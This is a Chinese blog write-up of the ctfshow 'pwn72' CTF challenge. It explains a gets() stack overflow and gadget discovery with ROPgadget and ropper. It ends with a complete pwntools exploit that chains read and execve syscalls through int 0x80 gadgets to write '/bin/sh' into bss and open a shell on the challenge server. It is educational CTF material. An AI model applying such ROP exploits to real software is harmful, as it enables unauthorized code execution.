yangyunhui

功不唐捐,玉汝于成

ctfshow pwn入门 pwn72

pwn72

ctf.show pwn72

目录


题目

预计时间

2h

题目分析及截图

我们先checksec ./pwn查看程序的保护机制

开启了NX不可执行机制,我们可以使用gadget构造payload来写这道题

查看 main函数

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+10h] [ebp-20h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("CTFshow-PWN");
puts("where is my system?");
gets(&v4);
puts("Emmm");
return 0;
}

gets(&v4);依旧是很明显的栈溢出漏洞

那么我们先看一下程序的 偏移 是多少

1
2
3
pwndbg> cyclic -l 0x6161616c
Finding cyclic pattern of 4 bytes: b'laaa' (hex: 0x6c616161)
Found at offset 44

如果你不知道cyclic怎么使用,建议看一下pwn71这篇,或者自己去搜索一篇好的博客学习一下

看看程序中有没有"/bin/sh"

使用ROPgadget --binary pwn --string "/bin/sh"

1
2
3
4
yyh@yyh:~/pwn72$ ROPgadget --binary pwn --string "/bin/sh"
Strings information
============================================================

很明显没有”/bin/sh”,那么如果我们想使用syscall来写这道题的话,execve(“/bin/sh”)是一定会构造的,那没有"/bin/sh"怎么能行?

我们可以进行两个系统调用:

  • read(fd,addr,len)
  • execve(“/bin/sh”,0,0)

为了解决"/bin/sh"这个问题,我们可以使用read来将"/bin/sh"写入。但是想用系统调用,我们需要找一些我们能用的gadget片段。

  • ROPgadget --binary pwn --only "pop|ret" | grep eax
  • ROPgadget --binary pwn --only "pop|ret" | grep ebx
  • ROPgadget --binary pwn --only "pop|ret" | grep ecx
  • ROPgadget --binary pwn --only "pop|ret" | grep edx

但是当我找ecx寄存器的时候,我发现,如果想要单独的pop ecx; ret

是找不到的,但是我找到了另一个可以用的

如果使用这条gadget,那我们直接使用这一条+eax那一条就够用了,非常方便

通过这些命令,找到gadget的地址为:

  • eax:0x080bb2c6
  • edx_ecx_ebx:0x0806ecb0

除此之外我们还需要int 0x80; ret的地址

需要注意为什么这里要加ret,但是上一题不需要加ret:

  • 在pwn71这道题目中我们直接使用int 0x80就可以了,是因为我们使用的是execve系统调用,execve 成功后不会返回用户态,执行流直接跳到新进程(/bin/sh)
  • 而在pwn72本道题中,我们需要使用int 0x80; ret,read 系统调用执行完后,CPU 会从你构造的 syscall 指令紧接着的地址继续执行,如果你只放 int 0x80,那系统调用之后 CPU 会跑到 你无法控制的下一条指令,所以你必须让它执行到一个受控“ret”,回到 ROP 链继续执行
  • 除了execve 和 exit可以直接使用int 0x80其他的系统调用都要使用int 0x80; ret

我们使用命令来查找该gadget

  1. ROPgadget --binary pwn --only "int"

    1
    2
    3
    4
    5
    6
    7
    yyh@yyh:~/pwn72$ ROPgadget --binary pwn --only "int"
    Gadgets information
    ============================================================
    0x08049421 : int 0x80
    0x080891d5 : int 0xcf

    Unique gadgets found: 2

    这个里并没有符合我们要求的地址。

    我一瞬间不知道怎么做了,去问了群里的大佬,才知道还有一个命令poper找的更全

  2. ropper --file pwn --search "int 0x80"

    1
    2
    3
    4
    5
    6
    7
    8
    9
    yyh@yyh:~/pwn72$ ropper --file pwn --search "int 0x80"
    [INFO] Load gadgets from cache
    [LOAD] loading... 100%
    [LOAD] removing double gadgets... 100%
    [INFO] Searching for gadgets: int 0x80

    [INFO] File: pwn
    0x08049421: int 0x80;
    0x0806f350: int 0x80; ret;

    找到了!!!!

int 0x80; ret; 的地址是:0x0806f350

我们先解决 read 这个系统调用的payload

再调用之前,我们还需要知道”/bin/sh”写入哪一个段地址中,这就需要使用vmmap命令

1
2
3
4
5
6
7
8
9
10
11
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x8048000 0x80e9000 r-xp a1000 0 pwn
0x80e9000 0x80eb000 rw-p 2000 a0000 pwn
0x80eb000 0x80ed000 rw-p 2000 0 [anon_080eb]
0x80ed000 0x810f000 rw-p 22000 0 [heap]
0xf7ff8000 0xf7ffa000 r--p 2000 0 [vvar]
0xf7ffa000 0xf7ffc000 r--p 2000 0 [vvar_vclock]
0xf7ffc000 0xf7ffe000 r-xp 2000 0 [vdso]
0xfffdd000 0xffffe000 rw-p 21000 0 [stack]
1
2
3
0x80e9000  0x80eb000 rw-p     2000   a0000 pwn
0x80eb000 0x80ed000 rw-p 2000 0 [anon_080eb]
0x80ed000 0x810f000 rw-p 22000 0 [heap]

这三个段地址都是可写的,我们可以随意选择一个地址(bss),作为填写/bin/sh的地址

  • read(fd , addr , len)

    因为我们是从stdin中输入”/bin/sh”的,所以我们的fd就应该等于0

    那么addr就应该是我们写入”/bin/sh”段的地址

    如果我们值写入”/bin/sh”的话,8是够的,或者你可以更长

  • execve(“/bin/sh”,0,0)

    只不过因为我们的"/bin/sh"写到bss里面了,那么第一个参数就是bss的地址

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

p = remote('pwn.challenge.ctf.show', 28137)
eax = 0x080bb2c6
edx_ecx_ebx = 0x0806ecb0
bss = 0x80ea000
int_0x80 = 0x0806F350

payload = 44 * b'A'
payload += p32(eax)
payload += p32(0x3)
payload += p32(edx_ecx_ebx)
payload += p32(8)
payload += p32(bss)
payload += p32(0)
payload += p32(int_0x80)
payload += p32(eax) + p32(0xb)
payload += p32(edx_ecx_ebx)
payload += p32(0) + p32(0) + p32(bss) + p32(int_0x80)

p.sendline(payload)
binsh = "/bin/sh\x00"
p.sendline(binsh)
p.interactive()

得到flag